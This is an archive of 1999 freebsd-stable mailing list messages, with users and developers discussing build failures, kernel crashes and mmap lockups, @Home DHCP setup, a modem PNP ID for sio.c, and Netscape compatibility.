Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 16:39: 1 1999 Delivered-To: freebsd-stable@freebsd.org Received: from nimbus.superior.net (nimbus.superior.net [206.153.96.1]) by hub.freebsd.org (Postfix) with ESMTP id 38790150E8 for ; Mon, 4 Oct 1999 16:38:50 -0700 (PDT) (envelope-from robert@nimbus.superior.net) Received: (from robert@localhost) by nimbus.superior.net (8.9.3/8.9.3/RB) id TAA27914 for freebsd-stable@freebsd.org; Mon, 4 Oct 1999 19:38:49 -0400 (EDT) From: Robert Blayzor Message-Id: <199910042338.TAA27914@nimbus.superior.net> Subject: sio.c To: freebsd-stable@freebsd.org Date: Mon, 4 Oct 1999 19:38:49 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Can someone on the core team please include the following PNP ID in sio.c so I don't have to manually add it every time I cvsup? It would be really great! { 0x01017256, "USR0101"}, For a US Robotics Courier V.everything Internal. Please ack, ye, or ne... thanks! -- Robert Blayzor robert@superior.net Telecon Communications MIS/Programmer/Admin Network Engineer 131 Enterprise Rd. Superior Net Services 518-762-3456 Johnstown, NY 12095 "FreeBSD! Putting the 'Operating' back into OS!" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 16:43:38 1999 Delivered-To: freebsd-stable@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 7F1431510E for ; Mon, 4 Oct 1999 16:43:02 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id BAA29573; Tue, 5 Oct 1999 01:42:29 +0200 (CEST) (envelope-from des) To: Martin McFlySr Cc: freebsd-stable@FreeBSD.ORG Subject: Re: how can i ...? what with ipfw? References: <13641.991004@McFlySr.Kurgan.Ru> From: Dag-Erling Smorgrav Date: 05 Oct 1999 01:42:28 +0200 In-Reply-To: Martin McFlySr's message of "Mon, 4 Oct 1999 15:24:07 +0600" Message-ID: Lines: 20 X-Mailer: Gnus v5.5/Emacs 19.34 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Martin McFlySr writes: > Edit src/share/man/man5/rc.conf.5 > Add delta 1.27.2.17 99.10.02.10.21.36 des > Add delta 1.27.2.18 99.10.02.21.41.35 des Well, I can tell you right off the bat: the first one was a fuckup (I committed a copy that contained other patches and a bunch of merge conflicts), the second was a cleanup. The net effect of these two deltas is to add a missing 'e' at the end of the word 'Note' in the section about net.inet.icmp.log_redirect. On a general basis - subscribe to cvs-all and read the commit messages. Of course, since you're a smart FreeBSD user, I'll assume that you've read the handbook and the FAQ and that you already know that you're supposed to read both freebsd-stable and cvs-all when you track -STABLE :) DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 16:52:58 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id A3A1015517 for ; Mon, 4 Oct 1999 16:52:36 -0700 (PDT) (envelope-from sprice@hiwaay.net) Received: from localhost (sprice@localhost) by mail.HiWAAY.net (8.9.1a/8.9.0) with ESMTP id SAA22612; Mon, 4 Oct 1999 18:52:34 -0500 (CDT) Date: Mon, 4 Oct 1999 18:52:33 -0500 (CDT) From: Steve Price To: Robert Blayzor Cc: freebsd-stable@FreeBSD.ORG Subject: Re: sio.c In-Reply-To: <199910042338.TAA27914@nimbus.superior.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Can you also send us the output of pnpinfo(8)? Thanks. -steve On Mon, 4 Oct 1999, Robert Blayzor wrote: # Can someone on the core team please include the following PNP ID in # sio.c so I don't have to manually add it every time I cvsup? # # It would be really great! # # { 0x01017256, "USR0101"}, # # For a US Robotics Courier V.everything Internal. # # Please ack, ye, or ne... thanks! # # -- # Robert Blayzor robert@superior.net Telecon Communications # MIS/Programmer/Admin Network Engineer 131 Enterprise Rd. # Superior Net Services 518-762-3456 Johnstown, NY 12095 # "FreeBSD! Putting the 'Operating' back into OS!" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 20:28: 6 1999 Delivered-To: freebsd-stable@freebsd.org Received: from hotmail.com (f122.law4.hotmail.com [216.33.149.122]) by hub.freebsd.org (Postfix) with SMTP id D4B6D14D7E for ; Mon, 4 Oct 1999 20:28:03 -0700 (PDT) (envelope-from wind_prowler@hotmail.com) Received: (qmail 71853 invoked by uid 0); 5 Oct 1999 03:28:02 -0000 Message-ID: <19991005032802.71852.qmail@hotmail.com> Received: from 203.106.62.131 by www.hotmail.com with HTTP; Mon, 04 Oct 1999 20:28:02 PDT X-Originating-IP: [203.106.62.131] From: "Nawfal M. Rouyan" To: freebsd-stable@freebsd.org Subject: can't make world... Date: Tue, 05 Oct 1999 11:28:02 MYT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I cvsuped today and tried to make world but it didn't work out smoothly and I don't what to do. Below is the come of the output of the make world process... cc -O -pipe -DLIBC_RCS -DSYSLIBC_RCS -I/usr/src/lib/libc_r/../libc/include -DPTH READ_KERNEL -D_THREAD_SAFE -I/usr/src/lib/libc_r/uthread -D__DBINTERFACE_PRIVATE -DPOSIX_MISTAKE -I/usr/src/lib/libc_r/../libc/locale -DBROKEN_DES -DYP -I/usr/o bj/usr/src/tmp/usr/include -c /usr/src/lib/libc_r/uthread/uthread_read.c -o uthr ead_read.o /usr/src/lib/libc_r/uthread/uthread_priority_queue.c:273: unterminated `#if' con ditional *** Error code 1 cc -O -pipe -DLIBC_RCS -DSYSLIBC_RCS -I/usr/src/lib/libc_r/../libc/include -DPTH READ_KERNEL -D_THREAD_SAFE -I/usr/src/lib/libc_r/uthread -D__DBINTERFACE_PRIVATE -DPOSIX_MISTAKE -I/usr/src/lib/libc_r/../libc/locale -DBROKEN_DES -DYP -I/usr/o bj/usr/src/tmp/usr/include -c /usr/src/lib/libc_r/uthread/uthread_readv.c -o uth read_readv.o cc -O -pipe -DLIBC_RCS -DSYSLIBC_RCS -I/usr/src/lib/libc_r/../libc/include -DPTH READ_KERNEL -D_THREAD_SAFE -I/usr/src/lib/libc_r/uthread -D__DBINTERFACE_PRIVATE -DPOSIX_MISTAKE -I/usr/src/lib/libc_r/../libc/locale -DBROKEN_DES -DYP -I/usr/o bj/usr/src/tmp/usr/include -c /usr/src/lib/libc_r/uthread/uthread_recvfrom.c -o uthread_recvfrom.o 1 error *** Error code 2 1 error *** Error code 2 1 error *** Error code 2 1 error *** Error code 2 1 error *** Error code 2 1 error Why does this happen and how to overcome this? ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 20:47:38 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mail.rdc1.wa.home.com (ha1.rdc1.wa.home.com [24.0.2.66]) by hub.freebsd.org (Postfix) with ESMTP id BB4AE14A09 for ; Mon, 4 Oct 1999 20:47:33 -0700 (PDT) (envelope-from francis.j.bruening@bigfoot.com) Received: from c583119a ([24.0.55.28]) by mail.rdc1.wa.home.com (InterMail v4.01.01.00 201-229-111) with SMTP id <19991005034720.KZBL14188.mail.rdc1.wa.home.com@c583119a>; Mon, 4 Oct 1999 20:47:20 -0700 From: "Francis J. Bruening" To: "Ben Lovett" , "High Voltage" Cc: "FreeBSD-Stable" Subject: RE: @Home Connect. - You will need to issues the "send host-name" command Date: Mon, 4 Oct 1999 20:48:43 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 In-Reply-To: Importance: Normal Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Re @Home service. From what I gather, the dhcpd server @home uses will not return any info unless you provide the hostname @home assigned to you. For me (in Portland OR), my hostname is "c589xxx-a", so I put the following line into my dhclient.conf file. send host-name "c589xxx-a"; And then start up dhclient... All is right in the @home universe... :) Regards, Francis Bruening, BSD newbie, and having a ball... -----Original Message----- From: owner-freebsd-stable@freebsd.org [mailto:owner-freebsd-stable@freebsd.org]On Behalf Of Ben Lovett Sent: Sunday, October 03, 1999 2:57 PM To: High Voltage Cc: FreeBSD-Stable Subject: Re: @Home Connect. you should just be able to hook your system up and use DHCP to get your IP.. i don't believe that @Home uses a login program to authenticate yourself... if i'm wrong, please feel free to correct me on this. ben On Sun, 3 Oct 1999, High Voltage wrote: > Hi > > Does anyone know where I can find info on how to set FreeBSD 3.3 > Stable up for a @Home connect? I'm getting @Home installed this Friday > and I'd like to be prepared. > > Thanx > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 23:49:24 1999 Delivered-To: freebsd-stable@freebsd.org Received: from macon.informatik.uni-tuebingen.de (macon.Informatik.Uni-Tuebingen.De [134.2.12.17]) by hub.freebsd.org (Postfix) with ESMTP id 7E8961534F; Mon, 4 Oct 1999 23:48:48 -0700 (PDT) (envelope-from sperber@Informatik.Uni-Tuebingen.De) Received: from brabantio.informatik.uni-tuebingen.de (brabantio.Informatik.Uni-Tuebingen.De [134.2.12.25]) by macon.informatik.uni-tuebingen.de (8.9.3/8.9.1) with ESMTP id IAA60424; Tue, 5 Oct 1999 08:48:41 +0200 Received: (from sperber@localhost) by brabantio.informatik.uni-tuebingen.de (8.9.3/8.9.1) id IAA15180; Tue, 5 Oct 1999 08:48:34 +0200 To: Kris Kennaway Cc: freebsd-stable@FreeBSD.ORG Subject: Re: -DNOCLEAN failure References: Mime-Version: 1.0 (generated by tm-edit 1.4) Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable From: sperber@Informatik.Uni-Tuebingen.De (Michael Sperber [Mr. Preprocessor]) Date: 05 Oct 1999 08:48:33 +0200 In-Reply-To: Kris Kennaway's message of "Mon, 4 Oct 1999 11:56:03 -0700 (PDT)" Message-ID: Lines: 38 X-Mailer: Gnus v5.6.45/XEmacs 21.2 - "Shinjuku" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "Kris" =3D=3D Kris Kennaway writes: Kris> On 4 Oct 1999, Michael Sperber [Mr. Preprocessor] wrote: >> This is possibly a stupid newbie question; I'm doing my first serious >> stable build, cvsupped yesterday. >> = >> I'm doing the build in AFS using arla, which is not absolutely stable >> yet. The build gets far, but arla will usually quit before the build >> finishes completely. Hence, I'm using to -DNOCLEAN to restart the >> build. This fails in one place: >> = >> The buildworld tries to overwrite readonly files via vanilla cp -p to >> = >> /usr/obj/usr/src/tmp/usr/bin >> = >> which fails. I need to do Kris> Why are these files readonly? Because make buildworld created them readonly. Kris> make world is _supposed_ to write to the files under /usr/obj. Well, yeah, exactly, but it can't. Kris> I'm not sure what you mean by readonly, either The files have no w flag set. -- = Cheers =3D8-} Mike Friede, V=F6lkerverst=E4ndigung und =FCberhaupt blabla To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 0: 3:36 1999 Delivered-To: freebsd-stable@freebsd.org Received: from jason.argos.org (a1-3a123.neo.rr.com [24.93.180.123]) by hub.freebsd.org (Postfix) with ESMTP id 4610D15557 for ; Tue, 5 Oct 1999 00:03:01 -0700 (PDT) (envelope-from mike@argos.org) Received: from localhost (mike@localhost) by jason.argos.org (8.9.1/8.9.1) with ESMTP id DAA30972; Tue, 5 Oct 1999 03:02:16 -0400 Date: Tue, 5 Oct 1999 03:02:16 -0400 (EDT) From: Mike Nowlin To: John Dowdal Cc: David Kott , High Voltage , FreeBSD-Stable Subject: Re: @Home Connect. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Both times I set up cable modems on unix, they had a single IP. The power > cycle rule applied for the single-IP config on the old (big) motorola, and > the new (small) motorola on Comcast cable system in Baltimore County, MD, > and to the system in Norfolk VA. > > In both cases, we set up a BSD machine with two ethernet cards. One > connected to teh cable modem directly, the other connected to the LAN (LAN > side is 100mbit too). The unix machine took on the real IP, and the > 100mbit network was configured with NATD (illegally for @home, but who > cares). According to my spec sheet on the Motorola modems, this "feature" is en/disabled during the startup protocol between the modem & the cable router when you power up the modem. Watch the lights some time -- they will (normally, unless your provider uses custom firmware in the modem) do a quick TD/RD blinky right when the "CABLE" light on the modem comes on. One of my sites has one allowed ethernet address, while another has multiple.. Same modem model, just different setup parameters at the host end. ...daz how it wurks in da Akron, OH RoadRunner world... --mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 2:14:20 1999 Delivered-To: freebsd-stable@freebsd.org Received: from rnocserv.urc.ac.ru (rnocserv.urc.ac.ru [193.233.85.2]) by hub.freebsd.org (Postfix) with ESMTP id 0253F155A7 for ; Tue, 5 Oct 1999 02:12:52 -0700 (PDT) (envelope-from anton@urc.ac.ru) Received: from urc.ac.ru (belle.urc.ac.ru [193.233.85.10]) by rnocserv.urc.ac.ru (8.9.3/8.9.3) with ESMTP id PAA20284 for ; Tue, 5 Oct 1999 15:10:21 +0600 (ESS) (envelope-from anton@urc.ac.ru) Message-ID: <37F9C07D.BE46F42@urc.ac.ru> Date: Tue, 05 Oct 1999 15:10:21 +0600 From: Anton Voronin Organization: URC FREEnet X-Mailer: Mozilla 4.7 [ru ] (X11; I; FreeBSD 3.3-STABLE i386) X-Accept-Language: Russian, ru, en MIME-Version: 1.0 To: stable@freebsd.org Subject: chflags at /etc/rc Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello all, in recent /etc/rc script /dev/tty[pqrsPQRS]* files are affected with chflags. In case of NFS root mount this produces pages of messages "Operation not supported". Shouldn't this be made optional or at least stderr be redirected to /dev/null? -- Anton Voronin | Ural Regional Center of FREEnet, anton@urc.ac.ru | Southern Ural University, Chelyabinsk, Russia http://www.urc.ac.ru/~anton | Programmer & System Administrator To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 3:54:58 1999 Delivered-To: freebsd-stable@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 90B03155A1 for ; Tue, 5 Oct 1999 03:54:19 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p08-dn02kiryunisiki.gunma.ocn.ne.jp [210.163.200.105]) by peach.ocn.ne.jp (8.9.1a/OCN) with ESMTP id TAA16140; Tue, 5 Oct 1999 19:53:39 +0900 (JST) Message-ID: <37F99A73.D83BA619@newsguy.com> Date: Tue, 05 Oct 1999 15:28:03 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Robert Blayzor Cc: freebsd-stable@FreeBSD.ORG Subject: Re: sio.c References: <199910042338.TAA27914@nimbus.superior.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Robert Blayzor wrote: > > Can someone on the core team please include the following PNP ID in > sio.c so I don't have to manually add it every time I cvsup? Would a committer suffice? :-) (just dispelling misinformation -- "core team" does not refer to the people who can change the source code; the people you want is refered to as "committers", which is a much larger group) -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org Rule 69: Do unto other's code as you'd have it done unto yours To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 5: 2:26 1999 Delivered-To: freebsd-stable@freebsd.org Received: from ady.warpnet.ro (ady.warpnet.ro [194.102.224.1]) by hub.freebsd.org (Postfix) with ESMTP id 5308714E97; Tue, 5 Oct 1999 05:01:59 -0700 (PDT) (envelope-from ady@warpnet.ro) Received: from localhost (ady@localhost) by ady.warpnet.ro (8.9.3/8.9.3) with ESMTP id PAA01540; Tue, 5 Oct 1999 15:02:07 +0300 (EEST) (envelope-from ady@warpnet.ro) Date: Tue, 5 Oct 1999 15:02:07 +0300 (EEST) From: Adrian Penisoara To: Matthew Dillon Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: [Patches avail?] Re: MMAP() in STABLE/CURRENT ... In-Reply-To: <199910041929.MAA68462@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, On Mon, 4 Oct 1999, Matthew Dillon wrote: > : Excuse my intrusion, but could you be so kind to tell me whether you had > :the time to build patches for these MMAP-related freezes ? If not could > :you recommend me some workarounds ? > : > : I have a -stable production server that keeps (solidly) blocking pretty > :often (I don't get over 3 days uptimes). If you need details just let me > :know. > : > :> -Matt > :> Matthew Dillon > :> > : Thanks, > : Ady (@warpnet.ro) > > Well, your lockups may or may not be related to the remaining mmap > problems. They could be related to the swap fragmentation problems > in stable, or they could be related to something else entirely. In > order to determine the cause of your lockup problems, some additional > information is necessary. The easiest way to get the information is > to enable DDB and kernel core dumps so you can panic the machine from The problem is that the machine is completely locked, I can't get into the debugger with CTR-ALT-ESC; no panics so there are no coredumps catched. Any advise ? Could you escape in the debugger when you were hit by these bugs ? > the console and get a core. Once you have the core > 'cd /var/crash; ps -M vmcore.X -N kernel.X' (where X is the latest > dump number) can be used to determine what the processes were doing > when they locked up. > > The two most common VM-related lockups in -stable are: > > (1) swap metadata fragmentation due to paging in the face of large > running processes (system runs out of KVM), and I have: squid (20Mb), nntpcached (17Mb SIZE, 1Mb RES), apache, named, MFS, a few PPP processes and the rest of the standard menu. > > (2) write()ing the mmap'd area of one file descriptor to another. > OK, how about some workarounds, I can't wait anylonger for this to be fixed, my situation got critical. Should I downgrade to 3.1-RELEASE (that hadn't exhibit this way) or can I dare a 4.0-CURRENT (are these problems present in -current too ?) ? > -Matt > Matthew Dillon > > Thanks, Ady (@warpnet.ro) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 5:34:19 1999 Delivered-To: freebsd-stable@freebsd.org Received: from azeri.com (run.azeri.com [208.210.122.2]) by hub.freebsd.org (Postfix) with ESMTP id 87D5D15578 for ; Tue, 5 Oct 1999 05:33:42 -0700 (PDT) (envelope-from guseyn@azeri.com) Received: (from root@localhost) by azeri.com (8.9.3/8.9.2) id RAA01357 for stable@freebsd.org; Tue, 5 Oct 1999 17:34:03 +0500 (AZST) (envelope-from guseyn) Date: Tue, 5 Oct 1999 17:34:03 +0500 (AZST) From: Guseyn Ismaylov Message-Id: <199910051234.RAA01357@azeri.com> To: stable@freebsd.org Subject: Netscape 4.6 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Anyone can tell why i cannot run netscape on my freebsd 3.x ? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 6:24: 0 1999 Delivered-To: freebsd-stable@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 790B91573C for ; Tue, 5 Oct 1999 06:23:49 -0700 (PDT) (envelope-from cy@cschuber.net.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id GAA22200; Tue, 5 Oct 1999 06:23:39 -0700 Received: from cschuber.net.gov.bc.ca(142.31.240.113), claiming to be "cwsys.cwsent.com" via SMTP by point.osg.gov.bc.ca, id smtpda22198; Tue Oct 5 06:23:30 1999 Received: (from uucp@localhost) by cwsys.cwsent.com (8.9.3/8.9.1) id GAA17221; Tue, 5 Oct 1999 06:23:28 -0700 (PDT) Message-Id: <199910051323.GAA17221@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdf17217; Tue Oct 5 06:22:49 1999 X-Mailer: exmh version 2.0.2 2/24/98 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 3.3-RELEASE X-Sender: cy To: David Gilbert Cc: freebsd-stable@FreeBSD.ORG Subject: Re: More on the crashes already mentioned. In-reply-to: Your message of "Mon, 04 Oct 1999 16:42:45 EDT." <14329.4421.847994.918399@trooper.velocet.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 05 Oct 1999 06:22:49 -0700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <14329.4421.847994.918399@trooper.velocet.net>, David Gilbert writes : > In reference to the two crash dumps I've posted, the most interesting > thing about them is that a non-debug kernel seems to be stable on the > box. I can't really explain why, but we tried all kinds of things --- > changing hardware... even exchanging whole guts of machines and those > two examples of crashes persisted. > > Then in a fit of despairation, I recompiled the kernel w/o debug > symbols and so far (touch wood) the machine has been stable. > > Now... the machine has 256M of memory ... so I wouldn't expect that > kernel size *should* be an issue, but something is not right here. It sure sounds like memory. I can we assume you tried completely different memory chips? Even then that's no guarantee. Also try increasing the memory refresh rate. I had a panic with FreeBSD 2.0.5 was solved by increasing the refresh rate. If that doesn't help try reducing the memory. Some systems cannot refresh memory fast enough to be stable under certain memory access patterns. The quality of memory for PC's has always been scatological, however now that most memory is non-parity, you don't even get notified of single bit errors. It may even be worth it to purchase some ECC memory. IIRC ECC uses the Reed-Solomon algorithm (same as used by NASA for deep space probes), to detect and correct memory errors, so the rate of detection and correction of an error burst of 16 bits should should approach 99.99999%. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Sun/DEC Team, UNIX Group Internet: Cy.Schubert@uumail.gov.bc.ca ITSD Cy.Schubert@gems8.gov.bc.ca Province of BC "e**(i*pi)+1=0" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 6:24:24 1999 Delivered-To: freebsd-stable@freebsd.org Received: from trooper.velocet.net (trooper.velocet.net [216.126.82.226]) by hub.freebsd.org (Postfix) with ESMTP id EBDD51574C for ; Tue, 5 Oct 1999 06:24:02 -0700 (PDT) (envelope-from dgilbert@trooper.velocet.net) Received: (from dgilbert@localhost) by trooper.velocet.net (8.9.3/8.9.3) id JAA06193; Tue, 5 Oct 1999 09:23:48 -0400 (EDT) (envelope-from dgilbert) From: David Gilbert MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14329.64484.350475.85719@trooper.velocet.net> Date: Tue, 5 Oct 1999 09:23:48 -0400 (EDT) To: freebsd-stable@freebsd.org Subject: More guesses on frequent crashes. X-Mailer: VM 6.71 under 20.4 "Emerald" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Turns out that I'm still getting crashes with the non-debug kernels... since this all appears to be load-releated, it just didn't happen quick enough last night. But the crash is back to hourly this morning... panic: rlist_free: free end overlaps already freed area (basically same bt as before) Dave. -- ============================================================================ |David Gilbert, Velocet Communications. | Two things can only be | |Mail: dgilbert@velocet.net | equal if and only if they | |http://www.velocet.net/~dgilbert | are precisely opposite. | =========================================================GLO================ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 6:32:10 1999 Delivered-To: freebsd-stable@freebsd.org Received: from trooper.velocet.net (trooper.velocet.net [216.126.82.226]) by hub.freebsd.org (Postfix) with ESMTP id 4678B14D10 for ; Tue, 5 Oct 1999 06:31:54 -0700 (PDT) (envelope-from dgilbert@trooper.velocet.net) Received: (from dgilbert@localhost) by trooper.velocet.net (8.9.3/8.9.3) id JAA06517; Tue, 5 Oct 1999 09:30:15 -0400 (EDT) (envelope-from dgilbert) From: David Gilbert MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14329.64871.579761.476450@trooper.velocet.net> Date: Tue, 5 Oct 1999 09:30:15 -0400 (EDT) To: Cy Schubert - ITSD Open Systems Group Cc: David Gilbert , freebsd-stable@FreeBSD.ORG Subject: Re: More on the crashes already mentioned. In-Reply-To: <199910051323.GAA17221@cwsys.cwsent.com> References: <14329.4421.847994.918399@trooper.velocet.net> <199910051323.GAA17221@cwsys.cwsent.com> X-Mailer: VM 6.71 under 20.4 "Emerald" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "Cy" == Cy Schubert <- ITSD Open Systems Group > writes: Cy> It sure sounds like memory. I can we assume you tried completely Cy> different memory chips? Even then that's no guarantee. Also try Cy> increasing the memory refresh rate. I had a panic with FreeBSD Cy> 2.0.5 was solved by increasing the refresh rate. If that doesn't Cy> help try reducing the memory. Some systems cannot refresh memory Cy> fast enough to be stable under certain memory access patterns. Cy> The quality of memory for PC's has always been scatological, Cy> however now that most memory is non-parity, you don't even get Cy> notified of single bit errors. It may even be worth it to Cy> purchase some ECC memory. IIRC ECC uses the Reed-Solomon Cy> algorithm (same as used by NASA for deep space probes), to detect Cy> and correct memory errors, so the rate of detection and correction Cy> of an error burst of 16 bits should should approach 99.99999%. Well... the same machine had an 80 day uptime before the upgrade (running 3.0-RELEASE). We have also tried alternate motherboards. Now... all this hardware is K6-2/400's --- it appears that substantial amounts of new code playing with processor bits has been introduced between 3.2 and 3.3 I also tried cutting the memory in half. The system had been running as configured for 80ish days w/o reboot. It has 2x 128M in it, which I reduced to 1x 128M... if anything, it crashed faster (although I can't say this for sure). The machine is running 100+ apaches that are ~88M virtual size. It's happening every 5 minutes now, it seems. sigh. Dave. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 6:40:18 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mechv.me.tuns.ca (mechv.me.TUNS.Ca [134.190.50.152]) by hub.freebsd.org (Postfix) with ESMTP id C45AA157BC for ; Tue, 5 Oct 1999 06:36:19 -0700 (PDT) (envelope-from bbursey@mechv.me.tuns.ca) Received: from localhost (bbursey@localhost) by mechv.me.tuns.ca (8.8.8/8.8.5) with SMTP id KAA07437; Tue, 5 Oct 1999 10:35:00 -0300 (ADT) Date: Tue, 5 Oct 1999 10:35:00 -0300 (ADT) From: Bryan Bursey To: Guseyn Ismaylov Cc: stable@FreeBSD.ORG Subject: Re: Netscape 4.6 In-Reply-To: <199910051234.RAA01357@azeri.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG That's a pretty vague question. I'm going to guess that you need to install teh compat22 package from /stand/sysinstall. Good luck... Bryan CFDnet.com On Tue, 5 Oct 1999, Guseyn Ismaylov wrote: |Anyone can tell why i cannot run netscape on my freebsd 3.x ? | | |To Unsubscribe: send mail to majordomo@FreeBSD.org |with "unsubscribe freebsd-stable" in the body of the message | ________________________________ Bryan Bursey, DEng Dept. of Mechanical Engineering DalTech (TUNS) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 8:16:36 1999 Delivered-To: freebsd-stable@freebsd.org Received: from peloton.runet.edu (peloton.runet.edu [137.45.96.205]) by hub.freebsd.org (Postfix) with ESMTP id 69A22155E9 for ; Tue, 5 Oct 1999 08:16:25 -0700 (PDT) (envelope-from brett@peloton.runet.edu) Received: from localhost (brett@localhost) by peloton.runet.edu (8.9.3/8.9.3) with ESMTP id LAA16559; Tue, 5 Oct 1999 11:14:52 -0400 (EDT) (envelope-from brett@peloton.runet.edu) Date: Tue, 5 Oct 1999 11:14:52 -0400 (EDT) From: Brett Taylor To: Guseyn Ismaylov Cc: stable@FreeBSD.ORG Subject: Re: Netscape 4.6 In-Reply-To: <199910051234.RAA01357@azeri.com> Message-ID: MIME-Version: 